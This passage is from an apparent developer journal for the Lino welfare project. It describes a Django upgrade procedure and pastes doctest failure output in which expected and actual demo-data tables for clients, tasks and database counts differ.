&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht.lib.pcsw.fixtures.demo2&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My general procedure:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Add code snippets to sorting2.rst&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;go mathieu&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pip install -U Django==3.1.8&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pm prep&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;doctest sorting2.rst&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pip install -U Django&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pm prep&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;doctest sorting2.rst&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I committed my work, which has only one tiny functional change, the
&lt;cite&gt;Meta.sorting&lt;/cite&gt; for Client.  All other changes are just code cleanup, a side
effect of my research work.&lt;/p&gt;
&lt;p&gt;The welfare test suite now has 13 failures,  but –unlike last week– they are
now the same failures with Django 3.1.8 and with Django 3.2:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Loaded 153 doctests from docs
...........................................................................................................F..............F......F......F....FFFFF.FFF...F.
======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/esf.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/esf.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/esf.rst&amp;quot;, line 309, in esf.rst
Failed example:
    rt.show(esf.SummariesByClient, obj, language=&amp;quot;en&amp;quot;)
Expected:
    ====== ======= ======= ======= ====== ====== ====== ====== ====== ====== ====== ====== ========
     Year   S.Inf   E.Ind   E.For   SIS    Tst    Info   Mob    Rem    AN!    MSP    CyE    60§7
    ------ ------- ------- ------- ------ ------ ------ ------ ------ ------ ------ ------ --------
     2012   0:00    0:00    0:00    0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00   478:48
     2013   0:00    3:00    0:00    0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00
     2014   0:00    0:00    0:00    1:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00
    ====== ======= ======= ======= ====== ====== ====== ====== ====== ====== ====== ====== ========
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ====== ======= ======= ======= ====== ====== ====== ====== ====== ====== ====== ====== ======
     Year   S.Inf   E.Ind   E.For   SIS    Tst    Info   Mob    Rem    AN!    MSP    CyE    60§7
    ------ ------- ------- ------- ------ ------ ------ ------ ------ ------ ------ ------ ------
     2012   0:00    0:00    0:00    0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00
     2013   0:00    9:00    0:00    0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00
     2014   0:00    11:00   0:00    0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00   0:00
    ====== ======= ======= ======= ====== ====== ====== ====== ====== ====== ====== ====== ======
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   1 of  18 in esf.rst
***Test Failed*** 1 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/tasks.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/tasks.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/tasks.rst&amp;quot;, line 39, in tasks.rst
Failed example:
    rt.login(&amp;#39;hubert&amp;#39;).show(cal.MyTasks)
Expected:
    ========== ============ ============================= ============================= ==========================
     Priorité   Date début   Description brève             Workflow                      Bénéficiaire
    ---------- ------------ ----------------------------- ----------------------------- --------------------------
     Normale    12/06/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   RADERMACHER Hedi (161)
     Normale    27/05/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   RADERMACHER Edgard (157)
    ========== ============ ============================= ============================= ==========================
    &amp;lt;BLANKLINE&amp;gt;
Got:
    Aucun enregistrement
**********************************************************************
File &amp;quot;docs/specs/tasks.rst&amp;quot;, line 51, in tasks.rst
Failed example:
    rt.login(&amp;#39;alicia&amp;#39;).show(cal.MyTasks)
Expected:
    ========== ============ ============================= ============================= ======================
     Priorité   Date début   Description brève             Workflow                      Bénéficiaire
    ---------- ------------ ----------------------------- ----------------------------- ----------------------
     Normale    21/05/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   DA VINCI David (165)
    ========== ============ ============================= ============================= ======================
    &amp;lt;BLANKLINE&amp;gt;
Got:
    Aucun enregistrement
**********************************************************************
File &amp;quot;docs/specs/tasks.rst&amp;quot;, line 65, in tasks.rst
Failed example:
    rt.login(&amp;#39;alicia&amp;#39;).show(cal.MyTasks, param_values=pv)
Expected:
    ========== ============ ============================= ============================= ============================
     Priorité   Date début   Description brève             Workflow                      Bénéficiaire
    ---------- ------------ ----------------------------- ----------------------------- ----------------------------
     Normale    30/03/2015   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   DA VINCI David (165)
     Normale    05/01/2015   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   RADERMACHER Fritz (158)
     Normale    16/12/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   MEESSEN Melissa (147)
     Normale    22/11/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   KAIVERS Karl (141)
     Normale    07/10/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   ENGELS Edgar (129)
     Normale    24/09/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   DUBOIS Robin (179)
     Normale    02/08/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   VAN VEEN Vincent (166)
     Normale    30/06/2014   Permis de travail expire le   **☐ à faire** → [☑] [���] [⚠]   DOBBELSTEIN Dorothée (124)
     Normale    21/05/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   DA VINCI David (165)
    ========== ============ ============================= ============================= ============================
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ========== ============ ============================= ============================= =============================
     Priorité   Date début   Description brève             Workflow                      Bénéficiaire
    ---------- ------------ ----------------------------- ----------------------------- -----------------------------
     Normale    20/01/2015   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   KELLER Karl (178)
     Normale    26/12/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   DA VINCI David (165)
     Normale    15/12/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   HILGERS Hildegard (133)
     Normale    01/12/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   RADERMACHER Christian (155)
     Normale    12/11/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   MALMENDIER Marc (146)
     Normale    23/09/2014   Projet termine dans un mois   **☐ à faire** → [☑] [☒] [⚠]   EMONTS Daniel (128)
     Normale    30/06/2014   Permis de travail expire le   **☐ à faire** → [☑] [☒] [⚠]   DOBBELSTEIN Dorothée (124)
    ========== ============ ============================= ============================= =============================
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   3 of   9 in tasks.rst
***Test Failed*** 3 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/reception/index.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/reception/index.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/reception/index.rst&amp;quot;, line 379, in index.rst
Failed example:
    pk
Expected:
    &amp;lt;django.db.models.fields.BigAutoField: id&amp;gt;
Got:
    &amp;lt;django.db.models.fields.AutoField: id&amp;gt;
**********************************************************************
1 items had failures:
   1 of  93 in index.rst
***Test Failed*** 1 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/topics/sorting.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/topics/sorting.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/topics/sorting.rst&amp;quot;, line 914, in sorting.rst
Failed example:
    for o in jobs.Candidature.objects.all():
       print(&amp;quot;{o.id} {o}&amp;quot;.format(o=o))  #doctest: +REPORT_UDIFF
Differences (unified diff with -expected +actual):
    @@ -71,4 +71,4 @@
     71 Kandidatur von Alfons AUSDEMWALD
     72 Kandidatur von Laurent BASTIAENSEN
    -73 Kandidatur von Charlotte COLLARD
    +73 Kandidatur von Bernd BRECHT
     74 Kandidatur von Marc CHANTRAINE
**********************************************************************
1 items had failures:
   1 of  38 in sorting.rst
***Test Failed*** 1 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/chatelet.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/chatelet.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/chatelet.rst&amp;quot;, line 145, in chatelet.rst
Failed example:
    print(analyzer.show_db_overview()) #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE +REPORT_UDIFF -SKIP
Differences (unified diff with -expected +actual):
    @@ -8,9 +8,9 @@
      aids.AidType                   aids.AidTypes                   23        11
      aids.Category                  aids.Categories                 5         3
    - aids.Granting                  aids.Grantings                  12        55
    - aids.IncomeConfirmation        aids.IncomeConfirmations        17        54
    + aids.Granting                  aids.Grantings                  12        54
    + aids.IncomeConfirmation        aids.IncomeConfirmations        17        52
      aids.RefundConfirmation        aids.RefundConfirmations        18        12
      aids.SimpleConfirmation        aids.SimpleConfirmations        15        19
    - art61.Contract                 art61.Contracts                 32        7
    + art61.Contract                 art61.Contracts                 32        6
      art61.ContractType             art61.ContractTypes             10        1
      badges.Award                   badges.Awards                   6         0
    @@ -18,9 +18,9 @@
      boards.Board                   boards.Boards                   7         3
      boards.Member                  boards.Members                  4         0
    - cal.Calendar                   cal.Calendars                   7         ...
    - cal.Event                      cal.OneEvent                    24        548
    + cal.Calendar                   cal.Calendars                   7         11
    + cal.Event                      cal.OneEvent                    24        535
      cal.EventPolicy                cal.EventPolicies               21        6
      cal.EventType                  cal.EventTypes                  27        13
    - cal.Guest                      cal.Guests                      9         588
    + cal.Guest                      cal.Guests                      9         614
      cal.GuestRole                  cal.GuestRoles                  6         4
      cal.RecurrentEvent             cal.RecurrentEvents             23        15
    @@ -28,5 +28,5 @@
      cal.Room                       cal.Rooms                       10        0
      cal.Subscription               cal.Subscriptions               4         9
    - cal.Task                       cal.Tasks                       20        30
    + cal.Task                       cal.Tasks                       20        26
      calview.DailyPlannerRow        calview.DailyPlannerRows        8         2
      cbss.IdentifyPersonRequest     cbss.IdentifyPersonRequests     21        5
    @@ -60,5 +60,5 @@
      cv.Experience                  cv.Experiences                  18        30
      cv.Function                    cv.Functions                    7         4
    - cv.LanguageKnowledge           cv.LanguageKnowledges           10        114
    + cv.LanguageKnowledge           cv.LanguageKnowledges           10        112
      cv.Obstacle                    cv.Obstacles                    6         20
      cv.ObstacleType                cv.ObstacleTypes                5         4
    @@ -80,5 +80,5 @@
      debts.Group                    debts.Groups                    8         8
      esf.ClientSummary              esf.Summaries                   24        189
    - excerpts.Excerpt               excerpts.Excerpts               12        78
    + excerpts.Excerpt               excerpts.Excerpts               12        79
      excerpts.ExcerptType           excerpts.ExcerptTypes           18        19
      gfks.HelpText                  gfks.HelpTexts                  4         5
    @@ -87,14 +87,14 @@
      households.Type                households.Types                5         6
      humanlinks.Link                humanlinks.Links                4         59
    - immersion.Contract             immersion.Contracts             25        6
    + immersion.Contract             immersion.Contracts             25        8
      immersion.ContractType         immersion.ContractTypes         9         3
      immersion.Goal                 immersion.Goals                 5         4
    - isip.Contract                  isip.Contracts                  24        30
    + isip.Contract                  isip.Contracts                  24        29
      isip.ContractEnding            isip.ContractEndings            6         4
    - isip.ContractPartner           isip.ContractPartners           6         35
    + isip.ContractPartner           isip.ContractPartners           6         33
      isip.ContractType              isip.ContractTypes              11        5
      isip.ExamPolicy                isip.ExamPolicies               21        6
      jobs.Candidature               jobs.Candidatures               10        74
    - jobs.Contract                  jobs.Contracts                  28        13
    + jobs.Contract                  jobs.Contracts                  28        14
      jobs.ContractType              jobs.ContractTypes              10        5
      jobs.Job                       jobs.Jobs                       10        8
    @@ -131,5 +131,5 @@
      polls.Question                 polls.Questions                 9         38
      polls.Response                 polls.Responses                 7         6
    - sessions.Session               users.Sessions                  3         ...
    + sessions.Session               users.Sessions                  3         1
      system.SiteConfig              system.SiteConfigs              29        1
      tinymce.TextFieldTemplate      tinymce.TextFieldTemplates      5         2
**********************************************************************
File &amp;quot;docs/specs/welcht/chatelet.rst&amp;quot;, line 745, in chatelet.rst
Failed example:
    rt.show(integ.UsersWithClients) #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE -REPORT_UDIFF
Expected:
    ====================== ============ =========== ======== ========= ========= =================== ====================== ========
     Intervenant            Évaluation   Formation   Search   Travail   Standby   Dossiers complèts   Bénéficiaires actifs   Total
    ---------------------- ------------ ----------- -------- --------- --------- ------------------- ---------------------- --------
     Alicia Allmanns        **1**        **1**                          **1**     **3**               **3**                  **7**
     Hubert Huppertz        **1**        **3**       **4**    **2**     **1**     **11**              **11**                 **19**
     Mélanie Mélard         **2**                    **2**    **4**     **3**     **11**              **11**                 **18**
     **Total (3 lignes)**   **4**        **4**       **6**    **6**     **5**     **25**              **25**                 **44**
    ====================== ============ =========== ======== ========= ========= =================== ====================== ========
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ====================== ============ =========== ======== ========= ========= =================== ====================== ========
     Intervenant            Évaluation   Formation   Search   Travail   Standby   Dossiers complèts   Bénéficiaires actifs   Total
    ---------------------- ------------ ----------- -------- --------- --------- ------------------- ---------------------- --------
     Alicia Allmanns        **1**                             **1**     **1**     **3**               **3**                  **7**
     Hubert Huppertz        **4**        **4**       **6**                        **14**              **14**                 **17**
     Mélanie Mélard         **1**        **2**       **2**    **3**     **2**     **10**              **10**                 **19**
     **Total (3 lignes)**   **6**        **6**       **8**    **4**     **3**     **27**              **27**                 **43**
    ====================== ============ =========== ======== ========= ========= =================== ====================== ========
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/chatelet.rst&amp;quot;, line 857, in chatelet.rst
Failed example:
    walk_menu_items(&amp;#39;romain&amp;#39;) #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE +REPORT_UDIFF
Differences (unified diff with -expected +actual):
    @@ -12,5 +12,5 @@
     - Bureau --&amp;gt; Mes problèmes de données : 0
     - Calendrier --&amp;gt; Mes rendez-vous : 7
    -- Calendrier --&amp;gt; Rendez-vous dépassés : 62
    +- Calendrier --&amp;gt; Rendez-vous dépassés : 58
     - Calendrier --&amp;gt; Mes rendez-vous à confirmer : 4
     - Calendrier --&amp;gt; Mes tâches : 1
    @@ -19,5 +19,5 @@
     - Calendrier --&amp;gt; Mes rendez-vous dépassés : 1
     - Réception --&amp;gt; Bénéficiaires : 30
    -- Réception --&amp;gt; Rendez-vous aujourd&amp;#39;hui : 4
    +- Réception --&amp;gt; Rendez-vous aujourd&amp;#39;hui : 5
     - Réception --&amp;gt; Salle d&amp;#39;attente : 8
     - Réception --&amp;gt; Visiteurs occupés : 4
    @@ -65,5 +65,5 @@
     - Configuration --&amp;gt; Bureau --&amp;gt; Types d&amp;#39;événements : 11
     - Configuration --&amp;gt; Bureau --&amp;gt; Mes Text field templates : 1
    -- Configuration --&amp;gt; Calendrier --&amp;gt; Calendriers : ...
    +- Configuration --&amp;gt; Calendrier --&amp;gt; Calendriers : 12
     - Configuration --&amp;gt; Calendrier --&amp;gt; Locaux : 1
     - Configuration --&amp;gt; Calendrier --&amp;gt; Évènements periodiques : 16
    @@ -127,5 +127,5 @@
     - Explorateur --&amp;gt; Système --&amp;gt; Tests de données : 15
     - Explorateur --&amp;gt; Système --&amp;gt; Messages de problème : 10
    -- Explorateur --&amp;gt; Bureau --&amp;gt; Extraits : 78
    +- Explorateur --&amp;gt; Bureau --&amp;gt; Extraits : 79
     - Explorateur --&amp;gt; Bureau --&amp;gt; Fichiers téléchargés : 6
     - Explorateur --&amp;gt; Bureau --&amp;gt; Domaines de téléchargement : 2
    @@ -134,7 +134,7 @@
     - Explorateur --&amp;gt; Bureau --&amp;gt; Observations : 112
     - Explorateur --&amp;gt; Bureau --&amp;gt; Text field templates : 3
    -- Explorateur --&amp;gt; Calendrier --&amp;gt; Entrées calendrier : 343
    -- Explorateur --&amp;gt; Calendrier --&amp;gt; Tâches : 31
    -- Explorateur --&amp;gt; Calendrier --&amp;gt; Présences : 589
    +- Explorateur --&amp;gt; Calendrier --&amp;gt; Entrées calendrier : 338
    +- Explorateur --&amp;gt; Calendrier --&amp;gt; Tâches : 27
    +- Explorateur --&amp;gt; Calendrier --&amp;gt; Présences : 615
     - Explorateur --&amp;gt; Calendrier --&amp;gt; Abonnements : 10
     - Explorateur --&amp;gt; Calendrier --&amp;gt; Entry states : 5
    @@ -156,6 +156,6 @@
     - Explorateur --&amp;gt; CPAS --&amp;gt; Etats bénéficiaires : 4
     - Explorateur --&amp;gt; CPAS --&amp;gt; Types de carte eID : 11
    -- Explorateur --&amp;gt; CPAS --&amp;gt; Octrois d&amp;#39;aide : 56
    -- Explorateur --&amp;gt; CPAS --&amp;gt; Certificats de revenu : 55
    +- Explorateur --&amp;gt; CPAS --&amp;gt; Octrois d&amp;#39;aide : 55
    +- Explorateur --&amp;gt; CPAS --&amp;gt; Certificats de revenu : 53
     - Explorateur --&amp;gt; CPAS --&amp;gt; Refund confirmations : 13
     - Explorateur --&amp;gt; CPAS --&amp;gt; Confirmations simple : 20
    @@ -163,18 +163,18 @@
     - Explorateur --&amp;gt; CPAS --&amp;gt; Types de contact connus : 2
     - Explorateur --&amp;gt; CPAS --&amp;gt; Interventions : 91
    -- Explorateur --&amp;gt; Parcours --&amp;gt; Connaissances de langue : 115
    +- Explorateur --&amp;gt; Parcours --&amp;gt; Connaissances de langue : 113
     - Explorateur --&amp;gt; Parcours --&amp;gt; Formations : 21
     - Explorateur --&amp;gt; Parcours --&amp;gt; Études : 23
     - Explorateur --&amp;gt; Parcours --&amp;gt; Expériences professionnelles : 31
    -- Explorateur --&amp;gt; Parcours --&amp;gt; Connaissances de langue : 115
    +- Explorateur --&amp;gt; Parcours --&amp;gt; Connaissances de langue : 113
     - Explorateur --&amp;gt; Parcours --&amp;gt; Compétences professionnelles : 1
     - Explorateur --&amp;gt; Parcours --&amp;gt; Compétences sociales : 1
     - Explorateur --&amp;gt; Parcours --&amp;gt; Freins : 21
    -- Explorateur --&amp;gt; Intégration --&amp;gt; PIISs : 31
    -- Explorateur --&amp;gt; Intégration --&amp;gt; Mises à l&amp;#39;emploi art60§7 : 14
    +- Explorateur --&amp;gt; Intégration --&amp;gt; PIISs : 30
    +- Explorateur --&amp;gt; Intégration --&amp;gt; Mises à l&amp;#39;emploi art60§7 : 15
     - Explorateur --&amp;gt; Intégration --&amp;gt; Candidatures : 75
    -- Explorateur --&amp;gt; Intégration --&amp;gt; Services utilisateurs : 36
    -- Explorateur --&amp;gt; Intégration --&amp;gt; Mises à l&amp;#39;emploi art61 : 8
    -- Explorateur --&amp;gt; Intégration --&amp;gt; Stages d&amp;#39;immersion : 7
    +- Explorateur --&amp;gt; Intégration --&amp;gt; Services utilisateurs : 34
    +- Explorateur --&amp;gt; Intégration --&amp;gt; Mises à l&amp;#39;emploi art61 : 7
    +- Explorateur --&amp;gt; Intégration --&amp;gt; Stages d&amp;#39;immersion : 9
     - Explorateur --&amp;gt; Intégration --&amp;gt; Preuves de recherche : 11
     - Explorateur --&amp;gt; Intégration --&amp;gt; Fiches FSE : 189
    @@ -192,4 +192,4 @@
     - Explorateur --&amp;gt; Questionnaires --&amp;gt; Choix de réponse : 89
     - Explorateur --&amp;gt; Questionnaires --&amp;gt; Answer Remarks : 1
    -- Site --&amp;gt; Sessions utilisateurs : ...
    +- Site --&amp;gt; Sessions utilisateurs : 2
     &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/chatelet.rst&amp;quot;, line 1067, in chatelet.rst
Failed example:
    for actor in debts.Actor.objects.all():
        n = actor.get_first_meeting()
        if n is not None:
            print(msg.format(actor.budget.id, dd.fdl(n.date), n.user))
Expected:
    Budget 4 : First meeting on 22 July 2013 with user nicolas
Got nothing
**********************************************************************
File &amp;quot;docs/specs/welcht/chatelet.rst&amp;quot;, line 1081, in chatelet.rst
Failed example:
    for actor in budget.get_actors():
        print(actor.get_first_meeting_text())
Expected:
    None
    First meeting on 22 July 2013 with nicolas
    None
Got:
    None
    None
    None
**********************************************************************
1 items had failures:
   5 of  23 in chatelet.rst
***Test Failed*** 5 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/clients_chatelet.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/clients_chatelet.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/clients_chatelet.rst&amp;quot;, line 142, in clients_chatelet.rst
Failed example:
    ses.show(pcsw.CoachedClients, column_names=&amp;quot;name_column&amp;quot;, param_values=pv)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE -REPORT_UDIFF
Expected:
    ==========================
     Name
    --------------------------
     EVERS Eberhart (127)
     KELLER Karl (178)
     MALMENDIER Marc (146)
     MEESSEN Melissa (147)
     RADERMACHER Alfons (153)
     DA VINCI David (165)
     VAN VEEN Vincent (166)
    ==========================
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ==========================
     Name
    --------------------------
     DUBOIS Robin (179)
     JACOBS Jacqueline (137)
     JONAS Josef (139)
     RADERMACHER Alfons (153)
     RADERMACHER Guido (159)
     RADERMACHER Hedi (161)
     DA VINCI David (165)
    ==========================
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/clients_chatelet.rst&amp;quot;, line 161, in clients_chatelet.rst
Failed example:
    ses.show(cv.TrainingsByPerson, obj, column_names=&amp;quot;type start_date end_date&amp;quot;)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE -REPORT_UDIFF
Expected:
    ================ ============ ============
     Education Type   Start date   End date
    ---------------- ------------ ------------
     Alpha            13/03/2011   13/03/2012
    ================ ============ ============
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ================ ============ ============
     Education Type   Start date   End date
    ---------------- ------------ ------------
     Alpha            01/03/2011   01/05/2011
    ================ ============ ============
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
File &amp;quot;docs/specs/welcht/clients_chatelet.rst&amp;quot;, line 180, in clients_chatelet.rst
Failed example:
    ses.show(cv.ExperiencesByPerson, obj, column_names=&amp;quot;start_date end_date&amp;quot;)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE -REPORT_UDIFF
Expected:
    ============ ============
     Start date   End date
    ------------ ------------
     11/03/2011   11/03/2012
    ============ ============
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ============ ============
     Start date   End date
    ------------ ------------
     27/02/2011   27/03/2011
    ============ ============
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   3 of  22 in clients_chatelet.rst
***Test Failed*** 3 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/courses.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/courses.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/courses.rst&amp;quot;, line 89, in courses.rst
Failed example:
    rt.show(rt.models.cal.GuestsByEvent, event)
Expected:
    ===================== ========= ============= ========
     Partner               Role      Workflow      Remark
    --------------------- --------- ------------- --------
     Bastiaensen Laurent   Visitor   **Invited**
     Denon Denis           Visitor   **Invited**
     Dericum Daniel        Visitor   **Invited**
     Emonts-Gast Erna      Visitor   **Invited**
     Faymonville Luc       Visitor   **Invited**
     Gernegroß Germaine    Visitor   **Invited**
     Jacobs Jacqueline     Visitor   **Invited**
     Jonas Josef           Visitor   **Invited**
     Kaivers Karl          Visitor   **Invited**
     Laschet Laura         Visitor   **Invited**
     Radermacher Hedi      Visitor   **Invited**
    ===================== ========= ============= ========
    &amp;lt;BLANKLINE&amp;gt;
Got:
    =================================== ========= ============= ========
     Partner                             Role      Workflow      Remark
    ----------------------------------- --------- ------------- --------
     Bastiaensen Laurent                 Visitor   **Invited**
     Dobbelstein Dorothée                Visitor   **Invited**
     Dobbelstein-Demeulenaere Dorothée   Visitor   **Invited**
     Emonts Erich                        Visitor   **Invited**
     Gernegroß Germaine                  Visitor   **Invited**
     Jacobs Jacqueline                   Visitor   **Invited**
     Johnen Johann                       Visitor   **Invited**
     Laschet Laura                       Visitor   **Invited**
     Meessen Melissa                     Visitor   **Invited**
     Radermacher Christian               Visitor   **Invited**
     Vandenmeulenbos Marie-Louise        Visitor   **Invited**
    =================================== ========= ============= ========
    &amp;lt;BLANKLINE&amp;gt;
**********************************************************************
1 items had failures:
   1 of  23 in courses.rst
***Test Failed*** 1 failures.

-----

======================================================================
FAIL: atelier.test.DocTestCase (docs/specs/welcht/cv2.rst)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;, line 44, in func
    self.run_subprocess(args)
  File &amp;quot;/home/luc/work/rstgen/rstgen/utils.py&amp;quot;, line 230, in run_subprocess
    self.fail(msg)
AssertionError: /home/luc/virtualenvs/py3/bin/python -m doctest docs/specs/welcht/cv2.rst ({}) returned 1:
-----
**********************************************************************
File &amp;quot;docs/specs/welcht/cv2.rst&amp;quot;, line 92, in cv2.rst
Failed example:
    rt.show(cv.Obstacles)
Expected:
    ==== ======================= ========== ===================== ============= ============
     ID   Personne                Remarque   Type                  Détecté par   Date
    ---- ----------------------- ---------- --------------------- ------------- ------------
     1    M. Luc FAYMONVILLE                 Alcohol                             22/05/2014
     2    M. Gregory GROTECLAES              Santé                               22/05/2014
     3    Mme Hildegard HILGERS              Dettes                              22/05/2014
     4    Mme Jacqueline JACOBS              Problèmes familiers                 22/05/2014
     5    M. Jérôme JEANÉMART                Alcohol                             22/05/2014
     6    M. Luc FAYMONVILLE                 Santé                               22/05/2014
     7    M. Gregory GROTECLAES              Dettes                              22/05/2014
     8    Mme Hildegard HILGERS              Problèmes familiers                 22/05/2014
     9    Mme Jacqueline JACOBS              Alcohol                             22/05/2014
     10   M. Jérôme JEANÉMART                Santé                               22/05/2014
     11   M. Luc FAYMONVILLE                 Dettes                              22/05/2014
     12   M. Gregory GROTECLAES              Problèmes familiers                 22/05/2014
     13   Mme Hildegard HILGERS              Alcohol                             22/05/2014
     14   Mme Jacqueline JACOBS              Santé                               22/05/2014
     15   M. Jérôme JEANÉMART                Dettes                              22/05/2014
     16   M. Luc FAYMONVILLE                 Problèmes familiers                 22/05/2014
     17   M. Gregory GROTECLAES              Alcohol                             22/05/2014
     18   Mme Hildegard HILGERS              Santé                               22/05/2014
     19   Mme Jacqueline JACOBS              Dettes                              22/05/2014
     20   M. Jérôme JEANÉMART                Problèmes familiers                 22/05/2014
    ==== ======================= ========== ===================== ============= ============
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ==== ==================== ========== ===================== ============= ============
